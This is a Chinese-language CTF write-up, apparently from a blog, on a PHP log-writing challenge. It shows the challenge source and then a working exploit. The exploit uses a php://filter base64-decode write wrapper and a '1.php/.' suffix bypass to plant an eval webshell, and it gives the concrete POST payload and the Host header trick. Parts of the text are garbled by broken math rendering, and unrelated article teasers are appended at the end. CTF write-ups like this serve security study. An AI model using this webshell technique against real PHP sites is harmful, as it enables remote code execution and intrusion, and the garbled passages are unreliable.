利用檔案操作函式結合PHP偽協議RCE

2021-09-16 14:28:32 字數 2270 閱讀 5446

獲得原始碼:http://ip:port/?read-source=1

<?php

if(isset($_get['read-source']))

define('data_dir', dirname(__file__) . '/data/' . md5($_server['remote_addr']));

if(!is_dir(data_dir))

chdir(data_dir);

$domain = isset($_post['domain']) ? $_post['domain'] : '';

$log_name = isset($_post['log']) ? $_post['log'] : date('-y-m-d');

$command = sprintf("dig -t a -q %s", escapeshellarg($domain));

$output = shell_exec($command);

$output = htmlspecialchars($output, ent_html401 | ent_quotes);

$log_name = $_server['server_name'] . $log_name;

if(!in_array(pathinfo($log_name, pathinfo_extension), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true))

echo $output;

解題思路:

原始碼分析,可知我們當前路徑是在/data/md5($_server['remote_addr'])下。通過post我們可以傳入兩個引數:log

,log,

log,

domain,最終生成檔案。對katex parse error: expected 'eof', got '&' at position 113: …lchars(),將特殊字元(&̲,",',<,>)轉換為htm…output,作為檔案的內容。再對log

前添

加log前新增

log前新增

_server[『server_name』],再對其字尾名進行判斷,作為檔案的名字。

通過對原始碼的分析,我們應有如下思路:

有了escapeshellarg()和htmlspecialchars(),命令注入行不通了。

正道應該是通過可控引數檔名和檔案內容,傳入檔案實現rce

由於存在htmlspecialchars(),難以突破。通過base64編碼繞過,再通過偽協議解析檔案內容再寫入新檔案,最後再繞過字尾名,完事

do it:

控制檔名:

可知data_dir是/data/md5($_server['remote_addr'])

自己算一下可知是/data/580d83a45e88eb6b9e247cb5ee888fb1/

最後的檔名是:$log_name = $_server['server_name'] . $log_name;

其中$_server['server_name']在本題是取request中host的值

過字尾名可以通過1.php/.來繞過過濾

控制檔案內容:

由於要對檔案內容base64編碼,所以要保證在payload之前的字元數量是4的倍數。

然後對<?php @eval($_get['sh']);?>進行base64編碼,發現結果會有等號,並且在之後上傳的過程中頁面為空白。可能是因為兩個過濾函式對符號的干擾,所以構建base64時需補齊構建出無符號字串。

通過偽協議上傳:

因為存在file_put_contents($log_name, $output),其第乙個引數可以傳入stream,即可以傳入偽協議

構建payload:

host:php

#php://filter/write 將$output解碼並寫入1.php

domain=pd9wahagq**2ywwojf9hrvrbj3mnxsk7pz5h&log=://filter/write=convert.base64-decode/resource=1.php/.

之後通過傳入sh引數即可獲得flag:flag

php檔案包含 偽協議 檔案上傳漏洞利用例項

1.上傳檔案過濾了字尾名和mime型別,files pic type 是由瀏覽器傳輸的檔案型別決定,但是mime content type 是由php 內建方法判斷檔案型別 2.任意檔案包含 f get f include once sys config.php include f 利用zip或ph...

php檔案目錄操作函式

1 建立目錄 mkdir bool mkdir string pathname int mode bool recursive resource context mkdir path to my dir 0777 成功返回true,失敗返回false 2 判斷檔案是否存在 file exist bo...

PHP之檔案操作函式

此文章可以讓初學php的小白對於檔案操作有一定的簡單了解。檔案操作函式 普通檔案 file get contents filename 獲取乙個檔案的內容或者乙個網路資源的內容 file put contents filename,data 把內容寫到檔案中,快捷函式,封裝了開啟關閉的細節 如果是比...